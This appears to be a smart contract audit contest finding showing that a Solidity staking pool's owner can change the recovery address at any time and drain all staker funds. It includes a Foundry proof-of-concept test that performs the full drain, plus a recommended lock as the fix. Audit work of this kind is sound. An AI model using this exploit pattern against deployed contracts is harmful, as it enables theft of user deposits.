FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

setRecoveryAddress missing post-deposit latch allows sponsor to atomically steal full pool via CORRUPTED sweep

Author Revealed upon completion

Description

setExpiry and setPoolScope latch post-deposit (expiryLocked line 623, scopeLocked line 639) to freeze staker-relied parameters. setRecoveryAddress (line 611) has no latch — the sponsor can rotate the CORRUPTED sweep destination at any time, including atomically in the same tx as claimCorrupted(), stealing 100% of staker principal + bonus.

// src/ConfidencePool.sol
function setExpiry(uint256 newExpiry) external onlyOwner {
@> if (expiryLocked) revert ExpiryLocked(); // LATCH — frozen at first stake
}
function setPoolScope(address[] calldata accounts) external onlyOwner {
@> if (scopeLocked) revert ScopePostLockImmutable(); // LATCH — frozen at first non-staging obs
}
@> function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
@> if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
@> // NO LATCH — sponsor rotates recoveryAddress at any time, even after outcome flagged
@> recoveryAddress = newRecoveryAddress;
}
function claimCorrupted() external nonReentrant {
uint256 toSweep = stakeToken.balanceOf(address(this));
@> stakeToken.safeTransfer(recoveryAddress, toSweep); // full pool to whatever recoveryAddress is NOW
}

Risk

Likelihood: Medium — CORRUPTED is the pool's intended risk scenario; the permissionless claimExpired() backstop resolves it after expiry + 180 days with no moderator collusion needed.


Impact: High — 100% loss of staker principal + bonus; atomic bundle means no mempool window to react.


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract SetRecoveryAddressRugPoC is BaseConfidencePoolTest {
function test_setRecoveryAddress_autoCorruptedRugNoModerator() public {
_stake(alice, 1000 * ONE);
_contributeBonus(bob, 500 * ONE);
uint256 attackerBefore = token.balanceOf(attacker);
uint256 legitBefore = token.balanceOf(recovery);
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE() + 1);
// Atomic rug by pool owner — no moderator involved
pool.setRecoveryAddress(attacker);
pool.claimExpired();
pool.claimCorrupted();
assertEq(token.balanceOf(attacker) - attackerBefore, 1500 * ONE, "stole full pool");
assertEq(token.balanceOf(address(pool)), 0, "pool drained");
assertEq(token.balanceOf(recovery), legitBefore, "legit recovery got nothing");
}
}

forge test --match-contract SetRecoveryAddressRugPoC -vvv → 1/1 PASS.


Recommended Mitigation

function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
+ if (expiryLocked) revert RecoveryAddressLocked();
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}

Freezes recoveryAddress at the first stake — the same moment expiry freezes — so stakers who verify recoveryAddress at deposit time are guaranteed it won't change. Add to IConfidencePool.sol:

error ExpiryLocked();
+error RecoveryAddressLocked();
error ExpiryTooSoon();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!